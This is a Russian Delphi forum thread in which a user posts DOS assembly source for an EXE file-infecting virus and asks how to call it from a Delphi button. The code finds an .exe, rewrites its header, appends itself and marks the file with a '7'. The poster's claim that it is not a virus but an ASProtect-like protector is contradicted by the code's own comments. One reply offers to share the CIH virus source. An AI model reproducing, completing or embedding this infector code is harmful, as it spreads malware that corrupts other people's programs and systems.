![]() |
|
Модераторы: Poseidon, Snowy, bems, MetalFan |
![]()
|
|
| kostik_16 |
|
|||
|
Бывалый ![]() Профиль Группа: Участник Сообщений: 196 Регистрация: 23.7.2003 Репутация: -4 Всего: 1 |
Привет всем! У меня возникла очередная рпоблема и я надеюсь вы поможите мне решить ее. На вопрос как вставить код из ассемблера в Delphi все дружно ответили для этого есть Asm. Я и без вас знал, проблема в том как и куда!!!!! Ниже я приведу код, который требуется вставить и прошу тех, кому это под силу отвлечся на несколько минут от своих дел и помочь мне вставить его в Delphi!
Проблема будет заключатся в следующем. Пусть при нажатии кнопки идет выполнение моего кода. ************************************************************* Сам код: prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h vir: mov ax,cs ;AX = CS ... db 2dh ;SUB AX,00h sub_ds dw 0 ; mov ds,ax ; mov ss,ax ; mov ah,1ah ;Переключим DTA lea dx,new_dta ;на соответству- ;ющий массив в int 21h ;области данных ;вируса ... mov ax,old_ip ;Скопируем исхо- mov my_ip,ax ;дные параметры mov ax,old_cs ;заголовка зара- mov my_cs,ax ;женной програм- mov ax,to_16h ;мы в ячейки па- mov my_16h,ax ;мяти " my_XX ", mov ax,old_ss ;так как ячейки mov my_ss,ax ;" old_XX ", в mov ax,old_sp ;которых хранят- mov my_sp,ax ;ся параметры, ;будут испорчены ;при заражении ;нового файла open_file: mov ax,3d02h ;Откроем файл lea dx,puti ;для чтения и int 21h ;записи ... jnc found_size found_size:mov descrypt,ax ;Определим раз- mov cx,word ptr [new_dta + 01ch] mov dx,word ptr [new_dta + 01ah] sub dx,1 ;мер файла и вы- sbb cx,0 ;чтем из него ;единицу ... call setpointer ;Установим ука- ;затель на пос- ;ледний символ read_last: mov cx,1 ;Прочитаем lea dx,last ;последний call read ;символ ... jnc compar jmp close_file compar: cmp last,'7' ;Это "семерка" ? jne mmm ;Нет ;Да ! Файл уже ;заражен, и надо ;искать другой mmm: xor cx,cx ;Установим ука- xor dx,dx ;затель на нача- call setpointer ;ло файла ... mov ah,3fh ;И считаем инте- mov bx,descrypt ;ресующую нас mov cx,27 ;часть заголовка ;в массив " hea- ;der " .Она как lea dx,header ;раз занимает 27 int 21h ;байт... jnc next_step ; jmp restore_dta ;Ошибка чтения ! next_step: mov ax,word ptr header[14h] mov old_ip,ax mov ax,word ptr header[16h] mov old_cs,ax mov ax,word ptr header[0eh] mov old_ss,ax mov ax,word ptr header[10h] mov old_sp,ax mov ax,word ptr header[04h] mov cl,5 shl ax,cl cmp ax,0f000h jna good_size good_size: mov bp,ax sub ax,word ptr header[08h] mov to_16h,ax ;Это число запи- ;шется в Header ;[16h] mov ax,bp xor dx,dx call mover mov f_seek_low,ax mov f_seek_high,dx cmp dx,word ptr [new_dta + 01ch] ja infect cmp ax,word ptr [new_dta + 01ah] infect: add ax,vir_len adc dx,0 mov bx,512 div bx cmp dx,0 je round inc ax round: mov to_04h,ax ;Это число запи- ;шется в Header ;[04h] mov to_02h,dx mov word ptr header[02h],dx mov ax,to_04h mov word ptr header[04h],ax mov word ptr header[14h],0 mov ax,to_16h mov word ptr header[16h],ax mov word ptr header[0eh],ax mov word ptr header[10h],offset ds:new_stack + 96 mov sub_ds,10h xor dx,dx ;Устанавливаем xor cx,cx ;указатель на call setpointer ;начало файла jc close_file ; lea dx,header ;И записываем mov cx,27 ;измененный за- call write ;головок на диск jc close_file mov dx,f_seek_low ;Устанавливаем mov cx,f_seek_high ;указатель на call setpointer ;определенное ;ранее место в ;файле jc close_file lea dx,vir ;И записываем на mov cx,vir_len ;диск вирусный call write ;код close_file:xor ax,ax ;Закроем зара- mov ah,3eh ;женный файл mov bx,descrypt ; int 21h ; restore_dta: push ds ;DS -> в стек mov ah,1ah ;Восстановим mov dx,080h ;адрес DTA зара- mov bp,es ;женной програм- mov ds,bp ;мы с помощью int 21h ;функции DOS 1Ah pop ds ;DS <- из стека mov ax,my_ip mov old_ip,ax mov ax,my_cs mov old_cs,ax mov ax,my_16h mov to_16h,ax mov ax,my_sp mov sp,ax ;Инициализируем ;регистр SP ... mov ax,cs ;Найдем sub ax,to_16h ;NS0 + 10h ... add my_ss,ax ;Вычислим SS ... mov ss,my_ss ; add ax,old_cs ;Вычислим CS ... mov old_cs,ax ; mov ax,es ;Инициализируем mov ds,ax ;регистр DS ... jmp $ + 2 ;Сбросим очередь ;процессора db 0eah ;И перейдем к old_ip dw 0 ;исполнению old_cs dw 0 ;программы ... ;Procedure area ... ;************************************************* setpointer proc ;Процедура уста- mov ax,4200h ;навливает ука- mov bx,descrypt ;затель в файле int 21h ;на заданный ret ;байт ... setpointer endp read proc ;Процедура чте- mov ah,3fh ;ния из файла... mov bx,descrypt int 21h ret read endp write proc ;Процедура за- mov ah,40h ;писи в файл ... mov bx,descrypt int 21h ret write endp mover proc ;Процедура умно- mov cx,04h ;жения двойного left: shl dx,1 ;слова CX : DX shl ax,1 ;на 16 методом adc dx,00h ;сдвига ... loop left ; ret ; mover endp ;Data area ... ;************************************************* ;Собственная DTA ;вируса puti db 'C:\x.exe' new_dta db 128 dup (0) ;Маска для поис- ;ка файла - жер- ;твы maska db '*.exe',0 ;Буфер для хра- ;нения имени ;найденного ;файла fn db 12 dup (' '),0 ;Массив для хра- ;нения заголовка header db 27 dup ( 0 ) descrypt dw 0 ;Ячейка для дес- ;криптора to_02h dw 0 ;Эти ячейки ис- to_04h dw 0 ;пользуются для to_16h dw 0 ;хранения пара- my_ip dw 0 ;метров заголо- my_cs dw 0 ;вка заражаемой my_16h dw 0 ;программы и my_ss dw 0 ;той, из которой my_sp dw 0 ;стартовал old_ss dw 0 ;вирус old_sp dw 0 ; f_seek_low dw 0 ;В эти перемен- f_seek_high dw 0 ;нные записывае- ;тся значение ;указателя ;Вирусный стек new_stack dw 50 dup ( 0 ) last db 0 ;Сюда помещается ;последний байт ;заражаемого ;файла db '7' ;Последний байт ;вирусного кода ;Длина вирусного ;кода в байтах vir_len equ $-vir prg ends end vir ************************************************************* Вот и весь код. Сразу говорю ЭТО НЕ ВИРУС, а программа типа ASProtect. Так что я надеюсь самые, самые в этом форуме не отвернутся и помогут мне. Всем спасибо за внимание и за ваши старания!!!!!! |
|||
|
||||
| Vit |
|
|||
![]() Vitaly Nevzorov ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 10964 Регистрация: 25.3.2002 Где: Chicago Репутация: 48 Всего: 207 |
Попробуй попроси пользователя под именем Chingachguk - он может помочь
-------------------- With the best wishes, Vit I have done so much with so little for so long that I am now qualified to do anything with nothing Самый большой Delphi FAQ на русском языке здесь: www.drkb.ru |
|||
|
||||
| pascal |
|
|||
|
Бывалый ![]() Профиль Группа: Участник Сообщений: 180 Регистрация: 16.7.2003 Где: Россия - Уфа Репутация: нет Всего: 1 |
всё павно ничего не выйдет. это же досовскийкод...
|
|||
|
||||
| p0s0l |
|
|||
![]() Г-н Посол ![]() ![]() ![]() ![]() Профиль Группа: Экс. модератор Сообщений: 3668 Регистрация: 13.7.2003 Где: 58°38' с.ш. 4 9°41' в.д. Репутация: 58 Всего: 112 |
Можно найти исходник Ciha... Если надо, кину.
Только все равно проги такого назначения не пишутся на ЯВУ... Буди на Delphi можно сделать загрузчик exe, который будет приписываться к защищаемому файлу, при этом его шифруя. При запуске такой проги она расшифровывет исходный exe и : 1) тупой метод - пишет на диск и запускает 2) геморройный метод (но крутой) - сама выполняет инициализацию EXE PE... -------------------- С уважением, г-н Посол. |
|||
|
||||
![]()
|
| Правила форума "Delphi: Общие вопросы" | |
|
|
Запрещается! 1. Публиковать ссылки на вскрытые компоненты 2. Обсуждать взлом компонентов и делиться вскрытыми компонентами
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader. |
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | Delphi: Общие вопросы | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |